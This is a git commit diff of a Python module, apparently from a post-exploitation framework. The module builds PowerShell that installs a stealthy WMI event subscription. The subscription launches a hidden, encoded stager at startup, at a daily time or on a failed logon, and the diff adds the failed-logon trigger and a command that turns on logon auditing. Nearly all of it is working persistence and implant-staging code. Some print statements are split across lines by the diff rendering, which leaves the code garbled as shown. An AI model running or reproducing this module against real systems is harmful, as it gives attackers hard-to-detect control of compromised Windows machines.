Merge branch 'jbooz1-master' into dev

fix-for-1142
xorrior 2018-05-03 20:55:37 -04:00
commit 1d91bb026a
1 changed files with 102 additions and 79 deletions

View File

@ -1,8 +1,8 @@
import os import os
from lib.common import helpers from lib.common import helpers
class Module:
class Module:
def __init__(self, mainMenu, params=[]): def __init__(self, mainMenu, params=[]):
self.info = { self.info = {
@ -10,19 +10,20 @@ class Module:
'Author': ['@mattifestation', '@harmj0y'], 'Author': ['@mattifestation', '@harmj0y'],
'Description': ('Persist a stager (or script) using a permanent WMI subscription. This has a difficult detection/removal rating.'), 'Description': (
'Persist a stager (or script) using a permanent WMI subscription. This has a difficult detection/removal rating.'),
'Background' : False, 'Background': False,
'OutputExtension' : None, 'OutputExtension': None,
'NeedsAdmin' : True, 'NeedsAdmin': True,
'OpsecSafe' : False, 'OpsecSafe': False,
'Language' : 'powershell', 'Language': 'powershell',
'MinLanguageVersion' : '2', 'MinLanguageVersion': '2',
'Comments': [ 'Comments': [
'https://github.com/mattifestation/PowerSploit/blob/master/Persistence/Persistence.psm1' 'https://github.com/mattifestation/PowerSploit/blob/master/Persistence/Persistence.psm1'
@ -33,55 +34,60 @@ class Module:
self.options = { self.options = {
# format: # format:
# value_name : {description, required, default_value} # value_name : {description, required, default_value}
'Agent' : { 'Agent': {
'Description' : 'Agent to run module on.', 'Description': 'Agent to run module on.',
'Required' : True, 'Required': True,
'Value' : '' 'Value': ''
}, },
'Listener' : { 'Listener': {
'Description' : 'Listener to use.', 'Description': 'Listener to use.',
'Required' : False, 'Required': True,
'Value' : '' 'Value': ''
}, },
'DailyTime' : { 'DailyTime': {
'Description' : 'Daily time to trigger the script (HH:mm).', 'Description': 'Daily time to trigger the script (HH:mm).',
'Required' : False, 'Required': False,
'Value' : '' 'Value': ''
}, },
'AtStartup' : { 'AtStartup': {
'Description' : 'Switch. Trigger script (within 5 minutes) of system startup.', 'Description': 'Switch. Trigger script (within 5 minutes) of system startup.',
'Required' : False, 'Required': False,
'Value' : 'True' 'Value': 'True'
}, },
'SubName' : { 'FailedLogon': {
'Description' : 'Name to use for the event subscription.', 'Description': 'Trigger script with a failed logon attempt from a specified user',
'Required' : True, 'Required': False,
'Value' : 'Updater' 'Value': ''
}, },
'ExtFile' : { 'SubName': {
'Description' : 'Use an external file for the payload instead of a stager.', 'Description': 'Name to use for the event subscription.',
'Required' : False, 'Required': True,
'Value' : '' 'Value': 'Updater'
}, },
'Cleanup' : { 'ExtFile': {
'Description' : 'Switch. Cleanup the trigger and any script from specified location.', 'Description': 'Use an external file for the payload instead of a stager.',
'Required' : False, 'Required': False,
'Value' : '' 'Value': ''
}, },
'UserAgent' : { 'Cleanup': {
'Description' : 'User-agent string to use for the staging request (default, none, or other).', 'Description': 'Switch. Cleanup the trigger and any script from specified location.',
'Required' : False, 'Required': False,
'Value' : 'default' 'Value': ''
}, },
'Proxy' : { 'UserAgent': {
'Description' : 'Proxy to use for request (default, none, or other).', 'Description': 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False, 'Required': False,
'Value' : 'default' 'Value': 'default'
}, },
'ProxyCreds' : { 'Proxy': {
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', 'Description': 'Proxy to use for request (default, none, or other).',
'Required' : False, 'Required': False,
'Value' : 'default' 'Value': 'default'
},
'ProxyCreds': {
'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
'Required': False,
'Value': 'default'
} }
} }
@ -95,7 +101,6 @@ class Module:
if option in self.options: if option in self.options:
self.options[option]['Value'] = value self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""): def generate(self, obfuscate=False, obfuscationCommand=""):
listenerName = self.options['Listener']['Value'] listenerName = self.options['Listener']['Value']
@ -104,6 +109,7 @@ class Module:
dailyTime = self.options['DailyTime']['Value'] dailyTime = self.options['DailyTime']['Value']
atStartup = self.options['AtStartup']['Value'] atStartup = self.options['AtStartup']['Value']
subName = self.options['SubName']['Value'] subName = self.options['SubName']['Value']
failedLogon = self.options['FailedLogon']['Value']
# management options # management options
extFile = self.options['ExtFile']['Value'] extFile = self.options['ExtFile']['Value']
@ -119,12 +125,13 @@ class Module:
if cleanup.lower() == 'true': if cleanup.lower() == 'true':
# commands to remove the WMI filter and subscription # commands to remove the WMI filter and subscription
script = "Get-WmiObject __eventFilter -namespace root\subscription -filter \"name='"+subName+"'\"| Remove-WmiObject;" script = "Get-WmiObject __eventFilter -namespace root\subscription -filter \"name='" + subName + "'\"| Remove-WmiObject;"
script += "Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter \"name='"+subName+"'\" | Remove-WmiObject;" script += "Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter \"name='" + subName + "'\" | Remove-WmiObject;"
script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match '"+subName+"'} | Remove-WmiObject;" script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match '" + subName + "'} | Remove-WmiObject;"
script += "'WMI persistence removed.'" script += "'WMI persistence removed.'"
if obfuscate: if obfuscate:
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script,
obfuscationCommand=obfuscationCommand)
return script return script
if extFile != '': if extFile != '':
@ -140,64 +147,80 @@ class Module:
statusMsg += "using external file " + extFile statusMsg += "using external file " + extFile
else: else:
print helpers.color("[!] File does not exist: " + extFile) print
helpers.color("[!] File does not exist: " + extFile)
return "" return ""
else: else:
if listenerName == "": if listenerName == "":
print helpers.color("[!] Either an ExtFile or a Listener must be specified") print
helpers.color("[!] Either an ExtFile or a Listener must be specified")
return "" return ""
# if an external file isn't specified, use a listener # if an external file isn't specified, use a listener
elif not self.mainMenu.listeners.is_listener_valid(listenerName): elif not self.mainMenu.listeners.is_listener_valid(listenerName):
# not a valid listener, return nothing for the script # not a valid listener, return nothing for the script
print helpers.color("[!] Invalid listener: " + listenerName) print
helpers.color("[!] Invalid listener: " + listenerName)
return "" return ""
else: else:
# generate the PowerShell one-liner with all of the proper options set # generate the PowerShell one-liner with all of the proper options set
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True,
userAgent=userAgent, proxy=proxy,
proxyCreds=proxyCreds)
encScript = launcher.split(" ")[-1] encScript = launcher.split(" ")[-1]
statusMsg += "using listener " + listenerName statusMsg += "using listener " + listenerName
# sanity check to make sure we haven't exceeded the powershell -enc 8190 char max # sanity check to make sure we haven't exceeded the powershell -enc 8190 char max
if len(encScript) > 8190: if len(encScript) > 8190:
print helpers.color("[!] Warning: -enc command exceeds the maximum of 8190 characters.") print
helpers.color("[!] Warning: -enc command exceeds the maximum of 8190 characters.")
return "" return ""
# built the command that will be triggered # built the command that will be triggered
triggerCmd = "$($Env:SystemRoot)\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -enc " + encScript triggerCmd = "$($Env:SystemRoot)\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -enc " + encScript
if dailyTime != '': if failedLogon != '':
# Enable failed logon auditing
script = "auditpol /set /subcategory:Logon /failure:enable;"
# create WMI event filter for failed logon
script += "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{Name='" + subName + "';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND TargetInstance.EventCode='4625' AND TargetInstance.Message LIKE '%" + failedLogon + "%'\"}; "
statusMsg += " with trigger upon failed logon by " + failedLogon
elif dailyTime != '':
parts = dailyTime.split(":") parts = dailyTime.split(":")
if len(parts) < 2: if len(parts) < 2:
print helpers.color("[!] Please use HH:mm format for DailyTime") print
helpers.color("[!] Please use HH:mm format for DailyTime")
return "" return ""
hour = parts[0] hour = parts[0]
minutes = parts[1] minutes = parts[1]
# create the WMI event filter for a system time # create the WMI event filter for a system time
script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+subName+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = "+hour+" AND TargetInstance.Minute= "+minutes+" GROUP WITHIN 60\"};" script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='" + subName + "';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = " + hour + " AND TargetInstance.Minute= " + minutes + " GROUP WITHIN 60\"};"
statusMsg += " WMI subscription daily trigger at " + dailyTime + "." statusMsg += " WMI subscription daily trigger at " + dailyTime + "."
else: else:
# create the WMI event filter for OnStartup # create the WMI event filter for OnStartup
script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+subName+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};" script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='" + subName + "';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};"
statusMsg += " with OnStartup WMI subsubscription trigger." statusMsg += " with OnStartup WMI subsubscription trigger."
# add in the event consumer to launch the encrypted script contents # add in the event consumer to launch the encrypted script contents
script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='"+subName+"';CommandLineTemplate=\""+triggerCmd+"\";RunInteractively='false'};" script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='" + subName + "';CommandLineTemplate=\"" + triggerCmd + "\";RunInteractively='false'};"
# bind the filter and event consumer together # bind the filter and event consumer together
script += "Set-WmiInstance -Namespace \"root\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;" script += " Set-WmiInstance -Namespace \"root\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;"
script += "'WMI persistence established " + statusMsg + "'"
script += "'WMI persistence established "+statusMsg+"'"
if obfuscate: if obfuscate:
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script,
obfuscationCommand=obfuscationCommand)
return script return script